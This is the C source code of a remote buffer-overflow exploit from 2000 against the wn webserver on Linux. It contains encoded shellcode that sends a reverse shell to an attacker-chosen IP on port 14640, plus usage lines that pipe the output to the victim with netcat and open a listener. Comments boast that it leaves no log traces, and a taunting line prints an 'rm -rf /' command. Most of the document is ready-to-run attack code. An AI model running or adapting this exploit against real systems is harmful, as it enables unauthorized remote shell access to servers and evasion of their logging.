/* * USE AT YOUR OWN RISK, BY USING THIS PROGRAM YOU ACCEPT ALL * RESPONSIBILITY FOR THE RESULTS */ /* * Bug discovered by: Dvorak (dvorak@hit2000.org) * Exploit by: Dvorak (dvorak@synnergy.net) * With help from: Bounce (is that your official nick?) * Will work against: wn webserver under Linux. * Exploit build at: CCC (chaos communication camp, www.ccc.de) * Exploit first used: Hit2000 (www.hit2000.org) * * (against a dutch hosting provider to show it was possible) * I got a t-shirt from them; great marketing trick ;) * * Greets to: Hit2000 Crew (www.hit2000.org) * : Synnergy Networks (www.synnergy.net) * : emphyrio (wanneer ga je weer meer met security doen?) * : shevek (Building a remote AIX (4.3.2) ftpd exploit rocks!) * : bivak (niet chatten, leren!!) * : #hit2000, #synnergy, #phreak.nl (irc.xs4all.nl) * * * New version of wn-server: hopf.math.nwu.edu * * Check these sites out: * www.hackernews.com * www.securityfocus.com * www.l0pht.com */ /* * Remote exploit against the wn webserver * (2.0.x, x < 9?) * (1.*) * (2.1.y, y < ?????) * The bug (ab)used is patcht in the newest versions * * John(@matht.nwu.edu), thanks for the quick response */ /* * This exploit leaves NO traces in the logs * It will cast a shell with uid = uid of webserver (nobody typical) * to the ip-address specified with the -d option port 14640 * so you'd better be listening there (use netcat (nc) it is absolutly * the number 1 networking tool, ok fragrouter and nmap are cool too) */ #include #include #include /* * This is weird shellcode. Its normal shellcode which had every byte * split into 2 pieces which were or-ed with 0x80 to maken sure the * whole range of bits was allowed by wn. * * The scrambled shellcode is highly ineffecient, it can be cut down * to approximatly 30% of its current size of you want to do it: * Do IT * * For more info and tools: dvorak@hit2000.org, dvorak@synnergy.net */ char shellcode[] = "\xeb\x2c\x5f\x89\xfe\x31\xc9\x89\xcb\x80\xc1\x01\x89\xcd\x89\xd9\x80\xc1\xff" "\x90\x90\x8a\x34\x1e\x01\xee\x8a\x14\x1e\x01\xee\xc0\xe2\x04\x66\xc1\xfa\x04" "\x88\x17\x01\xef\xe2\xe9\xeb\x05\xe8\xcf\xff\xff\xff\x83\x81\x8d\x8b\x88\x89" "\x8d\x88\x80\x84\x86\x86\x88\x80\x8c\x83\x80\x81\x88\x89\x8d\x89\x88\x89" "\x8c\x8a\x8e\x8b\x84\x81\x85\x8e\x88\x89\x84\x8e\x80\x88\x88\x80\x8c\x81" "\x80\x81\x88\x89\x84\x8e\x80\x84\x88\x80\x8c\x81\x80\x84\x88\x89\x84\x8e" "\x80\x8c\x88\x8d\x84\x8e\x80\x84\x8c\x8d\x88\x80\x88\x89\x80\x86\x83\x81" "\x8c\x89\x88\x80\x8c\x81\x80\x82\x86\x86\x88\x89\x84\x8e\x80\x8c\x86\x86" "\x88\x89\x84\x8e\x80\x8e\x88\x80\x8c\x81\x80\x8e\x86\x86\x88\x89\x84\x8e" "\x80\x88\x86\x86\x8b\x89\x83\x89\x83\x80\x86\x86\x88\x89\x84\x8e\x80\x8e" "\x88\x8d\x84\x86\x80\x8c\x88\x89\x84\x86\x80\x84\x83\x81\x8c\x89\x8b\x81" "\x80\x83\x88\x89\x8c\x8a\x8e\x8b\x80\x82\x8e\x8b\x84\x89\x88\x89\x8c\x8b" "\x88\x89\x8f\x81\x83\x81\x8c\x80\x80\x84\x86\x86\x8c\x8d\x88\x80\x83\x81" "\x8c\x80\x88\x89\x8c\x81\x80\x84\x83\x8f\x88\x89\x8c\x82\x88\x8b\x81\x8e" "\x8c\x8d\x88\x80\x88\x89\x8d\x80\x88\x80\x8c\x81\x80\x81\x8c\x8d\x88\x80" "\x88\x89\x8d\x80\x88\x80\x8c\x81\x80\x81\x8c\x8d\x88\x80\x83\x81\x8c\x80" "\x88\x89\x84\x86\x81\x80\x88\x88\x84\x86\x81\x8b\x88\x8d\x84\x86\x81\x84" "\x88\x89\x84\x86\x80\x8c\x83\x81\x8c\x80\x80\x84\x80\x8b\x88\x8d\x85\x8e" "\x81\x84\x88\x8d\x84\x8e\x80\x8c\x88\x8d\x85\x86\x81\x80\x8c\x8d\x88\x80" "\x83\x81\x8c\x80\x84\x80\x88\x89\x8c\x83\x84\x83\x8c\x8d\x88\x80\x8e\x88" "\x86\x8f\x8f\x8f\x8f\x8f\x8f\x8f\x82\x8e\x86\x81\x86\x81\x86\x81\x86\x81" "\x86\x81\x86\x81\x86\x81\x86\x81\x86\x81\x86\x81\x86\x81\x86\x81\x86\x81" "\x83\x89\x83\x80\x99\x99\x99\x99\x99\x99\x99\x99\x82\x8f\x86\x82\x86\x89" "\x86\x8e\x82\x8f\x87\x83\x86\x88"; /* * Most of the hardcoded values here can be changed on the command line * but KNOW what you are doing or you will leave traces of your * activity in the log files */ void main(int argc, char *argv[]) { int num_amps = 520; /* Number of &'s to use. iIf you read * the source of wn you'll know the * reason for this [2000]*/ int post_nops = 20; int num_nops = 400; int align = 0; int ret = 0xbffe5dd4; unsigned long my_addr = 0; int i, shl_len; char opt; while ((opt = getopt(argc, argv, "n:a:R:d:h")) != EOF) switch (opt) { case 'd': my_addr = (inet_addr(optarg)); break; case 'a': align = atoi(optarg); break; case 'R': ret = strtoul(optarg, NULL, 0); break; case 'n': num_nops = atoi(optarg); break; default: fprintf(stderr, "Use: wn_exploit -d | nc -v victim 80\n"); fprintf(stderr, "on the listening host: nc -v -s -l -p 14640\n"); fprintf(stderr, "Extended use:\n"); fprintf(stderr, "\t -R 0xaddr\treturn address to use\n"); fprintf(stderr, "\t if you want to tweak more:\n"); fprintf(stderr, "\t read the source of wn_exploit of mail me.\n"); fprintf(stderr, "\t dvorak@hit2000.org // dvorak@synnergy.net\n"); exit(2); } if (!my_addr) { fprintf(stderr, "Hmm lets see what does system(\"rm -rf / & \") do to your machine?\n"); fprintf(stderr, "\n\nShut The Fuck Up You Stupid Looser (STFUYSL)\n"); exit(0); } fprintf(stderr, "wn remote exploit by dvorak(@hit2000.org // @synnergy.net)\n"); printf("GET /s=c?"); for (i = 0; i < num_amps; i++) printf("&"); shl_len = 0; while (shellcode[shl_len]) if (shellcode[shl_len] == '\x99') { printf("%c", 0x80 + ((my_addr & 0xf0) >> 4)); printf("%c", 0x80 + (my_addr & 0x0f)); my_addr >>= 8; shl_len += 2; } else printf("%c", shellcode[shl_len++]); /* * Thats correct, we place the nops AFTER the shellcode * and add a jmp instruction after the nops which makes a * relative jump back to the shellcode * * Want to know why? mail me. */ num_nops = 4104 - 4 - (5*num_amps) - shl_len - 5 - post_nops; for (i = 0; i < num_nops; i++) printf("%c", 0x90); i = -(shl_len + num_nops + 5); printf("%c", 0xe9); printf("%c", (i & 0xff)); printf("%c", (i >> 8) & 0xff); printf("%c", (i >> 16) &0xff); printf("%c", (i >> 24) & 0xff); /* * post_nops are required because else the jmp instruction added * above are overwritten by stack operations in the wn daemon */ for (i = 0; i < post_nops; i++) printf("%c", 0x90); for (i = 0; i < align; i++) printf("q"); printf("%c%c%c%c", ret & 0xff, (ret >> 8) &0xff, (ret >> 16) & 0xff, (ret >> 24) & 0xff); printf("\r\n\r\n"); fflush(stdout); } /* www.hack.co.za [20 July 2000]*/